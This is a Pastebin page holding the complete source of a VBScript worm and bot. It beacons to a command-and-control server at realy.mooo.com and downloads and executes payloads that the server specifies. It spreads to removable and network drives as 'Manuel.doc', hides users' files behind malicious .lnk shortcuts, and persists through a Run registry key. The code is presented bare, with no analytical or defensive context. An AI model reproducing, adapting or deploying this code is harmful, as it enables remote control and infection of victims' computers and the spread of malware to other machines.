Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- '<coded by Bl4cKs0cK>'
- On Error Resume Next
- Dim host
- host = "realy.mooo.com"
- Dim host_script
- host_script = "bot/lancer/index.php"
- Dim activ_name
- activ_name = "SysinfY2X.db"
- Dim passiv_name
- passiv_name = "Manuel.doc"
- Dim sleep_time
- sleep_time = 2000
- Dim sleep_time_limit
- sleep_time_limit = 60000
- Dim http
- Set http = CreateObject("MSXML2.ServerXMLHTTP")
- Dim sh
- Set sh = WScript.CreateObject("WScript.Shell")
- Dim fs
- Set fs= CreateObject("Scripting.FileSystemObject")
- Dim WMIService
- Set WMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
- Const adTypeBinary = 1
- Const adTypeText = 2
- Const adSaveCreateOverWrite = 2
- Const adSaveCreateNotExist = 1
- Dim stream_self
- Set stream_self = CreateObject("Adodb.Stream")
- Dim script_name
- script_name = Wscript.ScriptName
- Dim tmp_dir
- tmp_dir = sh.ExpandEnvironmentStrings("%temp%") & "\"
- host = "http://" & host & "/"
- stream_self.Type = adTypeBinary
- stream_self.Open
- stream_self.LoadFromFile fs.GetFile(Wscript.ScriptFullName)
- Dim script_size
- script_size = stream_self.Size
- If (script_name = activ_name) Then
- Dim serv_rep, cont, cont_limit
- cont = 0
- cont_limit = CInt(sleep_time_limit / sleep_time)
- While True
- infect_drives
- infect_registre
- protect_del
- kill_old("SysinfYhX.db")
- If cont < cont_limit Then
- cont = cont + 1
- wscript.sleep sleep_time
- Else
- cont = 0
- serv_rep = serv_cmd("ping")
- If serv_rep <> "-1" Then
- cont_limit = CInt(CInt(serv_rep) / sleep_time)
- serv_rep = serv_cmd(script_size & activ_name)
- If serv_rep <> "-1" Then
- If serv_rep <> "0" Then
- get_new_v(serv_rep)
- Else
- serv_rep = serv_cmd("list")
- If serv_rep <> "-1" Then
- get_list(serv_rep)
- End If
- End If
- End If
- Else
- cont_limit = CInt(sleep_time_limit / sleep_time)
- End If
- End If
- Wend
- Else
- infect_machin
- End if
- Function serv_cmd(cmd)
- On Error Resume Next
- Dim stat
- http.Open "GET", host & host_script & "?cmd=" & cmd , False
- http.Send
- stat = http.Status
- If stat <> 200 Then
- serv_cmd = "-1"
- Else
- serv_cmd=http.ResponseText
- End If
- End Function
- Function bot_up(arr)
- On Error Resume Next
- Dim stat, frm_, size_, to_, lnc_
- frm_ = arr(1)
- size_ = arr(2)
- to_ = arr(3)
- lnc_ = arr(4)
- Dim stream
- Set stream = CreateObject("Adodb.Stream")
- stream.Type = adTypeBinary
- stream.Open
- If fs.FileExists (tmp_dir & to_) Then
- If fs.GetFile(tmp_dir & to_).Size <> size_ Then
- http.Open "GET", frm_, False
- http.Send
- If http.Status <> 200 Then
- bot_up = False
- Else
- stream.Write http.ResponseBody
- fs.GetFile(tmp_dir & to_).Attributes=2
- fs.DeleteFile tmp_dir & to_, True
- stream.SaveToFile tmp_dir & to_, adSaveCreateOverWrite
- fs.GetFile(tmp_dir & to_).Attributes=1+2+4
- bot_up = True
- End If
- Else
- bot_up = False
- End If
- Else
- http.Open "GET", frm_, False
- http.Send
- If http.Status <> 200 Then
- bot_up = False
- Else
- stream.Write http.ResponseBody
- stream.SaveToFile tmp_dir & to_, adSaveCreateOverWrite
- fs.GetFile(tmp_dir & to_).Attributes=1+2+4
- bot_up = True
- End If
- End If
- stream.Close
- If bot_up Then
- sh.Run "cmd /c start " & lnc_ & " %temp%\" & to_, 0
- End If
- End Function
- Function get_split(in_)
- On Error Resume Next
- Dim ret
- ret = Array(True, "", 0, "", "")
- ret(1) = Split(Split(in_, "<from>")(1), "<br>")(0)
- ret(2) = CInt(Split(Split(in_, "<size>")(1), "<br>")(0))
- ret(3) = Split(Split(in_, "<to>")(1), "<br>")(0)
- ret(4) = Split(Split(in_, "<lancer>")(1), "<br>")(0)
- For Each a In ret
- If a = "" Or a = " " Then
- ret(0) = False
- Exit For
- End If
- Next
- get_split = ret
- End Function
- Function get_new_v(req)
- On Error Resume Next
- Dim data_
- data_ = get_split(req)
- If data_(0) Then
- If bot_up(data_) Then
- If data_(3) <> script_name Then
- del_registre
- fs.GetFile(Wscript.ScriptFullName).Attributes=2
- fs.DeleteFile Wscript.ScriptFullName, True
- End If
- wscript.quit
- End If
- End If
- End Function
- Function get_list(req)
- On Error Resume Next
- If req <> "0" Then
- Dim tbl
- tbl = Split(req, "<list>")
- For Each case_ In tbl
- Dim data_
- data_ = get_split(case_)
- If data_(0) Then
- bot_up(data_)
- End If
- Next
- get_list = True
- Else
- get_list = False
- End If
- End Function
- Function infect_machin
- On Error Resume Next
- infect_registre
- If fs.FileExists (tmp_dir & activ_name) Then
- If fs.GetFile(tmp_dir & activ_name).Size <> script_size Then
- fs.GetFile(tmp_dir & activ_name).Attributes=2
- fs.DeleteFile tmp_dir & activ_name, True
- stream_self.SaveToFile tmp_dir & activ_name, adSaveCreateOverWrite
- fs.GetFile(tmp_dir & activ_name).Attributes=1+2+4
- infect_machin = True
- Else
- infect_machin = False
- End If
- Else
- stream_self.SaveToFile tmp_dir & activ_name, adSaveCreateNotExist
- fs.GetFile(tmp_dir & activ_name).Attributes=1+2+4
- infect_machin = True
- End If
- If infect_machin Then
- sh.Run "cmd /c start wscript /e:VBScript.Encode " & Replace(tmp_dir & activ_name," ", ChrW(34) & " " & ChrW(34)), 0
- Else
- Dim colItms
- Set colItms = WMIService.ExecQuery ("Select * from Win32_Process Where Name = 'wscript.exe' AND CommandLine LIKE '%" & activ_name & "%'")
- If colItms.Count = 0 Then
- sh.Run "cmd /c start wscript /e:VBScript.Encode " & Replace(tmp_dir & activ_name," ", ChrW(34) & " " & ChrW(34)), 0
- End If
- Set colItms = Nothing
- End If
- wscript.quit
- End Function
- Sub infect_drives
- On Error Resume Next
- Dim sys_drive
- sys_drive = sh.ExpandEnvironmentStrings("%SYSTEMDRIVE%")
- For Each cle In fs.Drives
- If cle.isReady And (cle.DriveType = 1 Or cle.DriveType = 3 Or cle.DriveType = 4) Then
- Dim d
- d = cle.path
- If d <> sys_drive Then
- If fs.FileExists(d & "\" & passiv_name) Then
- If (fs.GetFile(d & "\" & passiv_name).Size <> script_size) And (cle.FreeSpace > Abs(fs.GetFile(d & "\" & passiv_name).Size - script_size)) Then
- fs.GetFile(d & "\" & passiv_name).Attributes=2
- fs.DeleteFile d & "\" & passiv_name, True
- stream_self.SaveToFile d & "\" & passiv_name, adSaveCreateOverWrite
- End If
- Else
- If cle.FreeSpace > script_size Then
- stream_self.SaveToFile d & "\" & passiv_name, adSaveCreateNotExist
- End If
- End If
- fs.GetFile(d & "\" & passiv_name).Attributes=1+2+4
- If cle.FreeSpace > 0 Then
- For Each f In fs.GetFolder(d & "\").Files
- Dim f_ext
- If instr(f.name, ".") Then
- Dim f_name
- f_name = split(f.name, ".")
- f_ext = lcase( f_name(ubound(f_name)) )
- Else
- f_ext = "NULL"
- End if
- If f_ext <> "lnk" And f.name <> passiv_name And f.Attributes <> 2+4 Then
- f.Attributes = 2+4
- If fs.FileExists(d & "\" & f.name & ".lnk") Then
- fs.GetFile(d & "\" & f.name & ".lnk").Attributes = 0
- End If
- Dim shurt, s_icon
- Set shurt = sh.CreateShortcut(d & "\" & f.name & ".lnk")
- shurt.WindowStyle = 7
- shurt.TargetPath = "cmd.exe"
- shurt.WorkingDirectory = ""
- Dim f_arg
- f_arg = "/c start wscript /e:VBScript.Encode " & Replace(passiv_name," ", ChrW(34) & " " & ChrW(34)) & " & start " & replace( f.name," ", ChrW(34) & " " & ChrW(34))
- shurt.Arguments = f_arg & " & exit"
- s_icon = sh.regread("HKLM\SOFTWARE\Classes\" & sh.regread("HKLM\SOFTWARE\Classes\." & f_ext & "\") & "\DefaultIcon\")
- If ( instr(s_icon, ",") = 0 ) Or f_ext = "NULL" Then
- shurt.IconLocation = f.path
- Else
- shurt.IconLocation = s_icon
- End if
- shurt.Save()
- fs.GetFile(d & "\" & f.name & ".lnk").Attributes = 1
- End if
- Next
- For Each ff In fs.GetFolder(d & "\").SubFolders
- If ff.Attributes <> 2+4 Then
- ff.Attributes = 2+4
- If fs.FileExists(d & "\" & ff.name & ".lnk") Then
- fs.GetFile(d & "\" & ff.name & ".lnk").Attributes = 0
- End If
- Dim shurt_, s_icon_
- Set shurt_ = sh.CreateShortcut(d & "\" & ff.name & ".lnk")
- shurt_.WindowStyle = 7
- shurt_.TargetPath = "cmd.exe"
- shurt_.WorkingDirectory = ""
- Dim ff_arg
- ff_arg = "/c start wscript /e:VBScript.Encode " & Replace(passiv_name," ", ChrW(34) & " " & ChrW(34)) & " & start explorer " & replace( ff.name," ", ChrW(34) & " " & ChrW(34))
- shurt_.Arguments = ff_arg & " & exit"
- s_icon_ = sh.regread("HKLM\SOFTWARE\Classes\Folder\DefaultIcon\")
- If instr(s_icon_, ",") = 0 Then
- shurt_.IconLocation = ff.path
- Else
- shurt_.IconLocation = s_icon_
- End if
- shurt_.save()
- fs.GetFile(d & "\" & ff.name & ".lnk").Attributes = 1
- End If
- Next
- End If
- End If
- End If
- Next
- End Sub
- Sub infect_registre
- On Error Resume Next
- Dim target, reg_d
- target = "C:\WINDOWS\system32\cmd.exe /c start wscript /e:VBScript.Encode %temp%\" & activ_name
- reg_d = "\Software\Microsoft\Windows\CurrentVersion\Run\" & Split(activ_name, ".")(0)
- sh.regwrite "HKCU" & reg_d, target, "REG_SZ"
- reg_d = "\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden"
- sh.regwrite "HKCU" & reg_d, 2, "REG_DWORD"
- End Sub
- Sub del_registre
- On Error Resume Next
- Dim reg_d
- reg_d = "\Software\Microsoft\Windows\CurrentVersion\Run\" & Split(activ_name, ".")(0)
- sh.RegDelete "HKCU" & reg_d
- End Sub
- Function protect_del
- On Error Resume Next
- If fs.FileExists (tmp_dir & activ_name) Then
- If fs.GetFile(tmp_dir & activ_name).Size <> script_size Then
- fs.GetFile(tmp_dir & activ_name).Attributes=2
- stream_self.SaveToFile tmp_dir & activ_name, adSaveCreateOverWrite
- End If
- Else
- stream_self.SaveToFile tmp_dir & activ_name, adSaveCreateNotExist
- End If
- fs.GetFile(tmp_dir & activ_name).Attributes=1+2+4
- End Function
- Function kill_old(old_name)
- On Error Resume Next
- Dim colItems, reg_d
- Set colItems = WMIService.ExecQuery ("Select * from Win32_Process Where Name = 'wscript.exe' AND CommandLine LIKE '%" & old_name & "%'")
- For Each objItem in colItems
- objItem.Terminate
- Next
- colItems = Nothing
- reg_d = "\Software\Microsoft\Windows\CurrentVersion\Run\" & Split(old_name, ".")(0)
- sh.RegDelete "HKCU" & reg_d
- fs.GetFile(tmp_dir & old_name).Attributes=2
- fs.DeleteFile tmp_dir & "\" & old_name, True
- End Function
Add Comment
Please, Sign In to add comment